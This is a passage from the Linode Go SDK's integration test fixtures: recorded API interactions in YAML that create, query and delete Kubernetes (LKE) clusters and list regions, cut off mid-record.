X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"node_pools":[{"count":1,"type":"g6-standard-2","disks":null,"tags":["test"]}],"label":"go-lke-test-apiend","region":"us-east","k8s_version":"1.29","tags":["testing"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters method: POST response: body: '{"id": 7943, "status": "ready", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "label": "go-lke-test-apiend", "region": "us-east", "k8s_version": "1.29", "control_plane": {"high_availability": false}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "242" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/7943/api-endpoints?page=1 method: GET response: body: '{"errors": [{"reason": "Cluster API Endpoints are not yet available. Please try again later."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Content-Length: - "96" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_only X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 503 Service Unavailable code: 503 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/7943/api-endpoints?page=1 method: GET response: body: '{"page": 1, "pages": 1, "results": 4, "data": [{"endpoint": "https://f5b273b1-2ffe-4bf0-b4c2-1c3b7a2aeb52.cpc1-cjj1-testing.linodelke.net:443"}, {"endpoint": "https://f5b273b1-2ffe-4bf0-b4c2-1c3b7a2aeb52.cpc1-cjj1-testing.linodelke.net:6443"}, {"endpoint": "https://172.234.1.21:443"}, {"endpoint": "https://172.234.1.21:6443"}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/7943 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestLKECluster_Dashboard_Get.yaml000066400000000000000000000401251474652371000330350ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, India", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, Ontario, CAN", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, NSW, Australia", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fake-cph-4", "label": "Fake CPH 4, DK", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fake-cph-5", "label": "Fake CPH 5, DK", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "billing66", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "billing67", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "billing100", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Kubernetes", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ, USA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "VPCs", "Block Storage Migrations", "Managed Databases", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, England, UK", "country": "uk", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 16}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"node_pools":[{"count":1,"type":"g6-standard-2","disks":null,"tags":["test"]}],"label":"go-lke-test-dash","region":"us-east","k8s_version":"1.29","tags":["testing"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters method: POST response: body: '{"id": 7945, "status": "ready", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "label": "go-lke-test-dash", "region": "us-east", "k8s_version": "1.29", "control_plane": {"high_availability": false}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "240" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/7945 method: GET response: body: '{"id": 7945, "status": "ready", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "label": "go-lke-test-dash", "region": "us-east", "k8s_version": "1.29", "control_plane": {"high_availability": false}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "240" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/7945/dashboard method: GET response: body: '{"url": "https://d16f74ca-55cc-4806-b2c7-28b5493b359d.dashboard.cpc1-cjj1-testing.linodelke.net"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "97" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/7945 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestLKECluster_Enterprise_smoke.yaml000066400000000000000000000756771474652371000337110ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62,139.144.192.60,139.144.192.61,139.144.192.53,139.144.192.54,139.144.192.67,139.144.192.69,139.144.192.66,139.144.192.52,139.144.192.68", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17,172.232.0.16,172.232.0.21,172.232.0.13,172.232.0.22,172.232.0.9,172.232.0.19,172.232.0.20,172.232.0.15,172.232.0.18", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21,172.232.32.23,172.232.32.17,172.232.32.18,172.232.32.16,172.232.32.22,172.232.32.20,172.232.32.14,172.232.32.11,172.232.32.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19,172.232.160.21,172.232.160.17,172.232.160.15,172.232.160.18,172.232.160.8,172.232.160.12,172.232.160.11,172.232.160.14,172.232.160.16", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4,172.233.0.9,172.233.0.7,172.233.0.12,172.233.0.5,172.233.0.13,172.233.0.10,172.233.0.6,172.233.0.8,172.233.0.11", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36,172.233.33.38,172.233.33.35,172.233.33.39,172.233.33.34,172.233.33.33,172.233.33.31,172.233.33.30,172.233.33.37,172.233.33.32", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24,172.232.128.26,172.232.128.20,172.232.128.22,172.232.128.25,172.232.128.19,172.232.128.23,172.232.128.18,172.232.128.21,172.232.128.27", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6,172.233.111.17,172.233.111.21,172.233.111.25,172.233.111.19,172.233.111.12,172.233.111.26,172.233.111.16,172.233.111.18,172.233.111.9", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17,172.232.96.26,172.232.96.19,172.232.96.20,172.232.96.25,172.232.96.21,172.232.96.18,172.232.96.22,172.232.96.23,172.232.96.24", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", 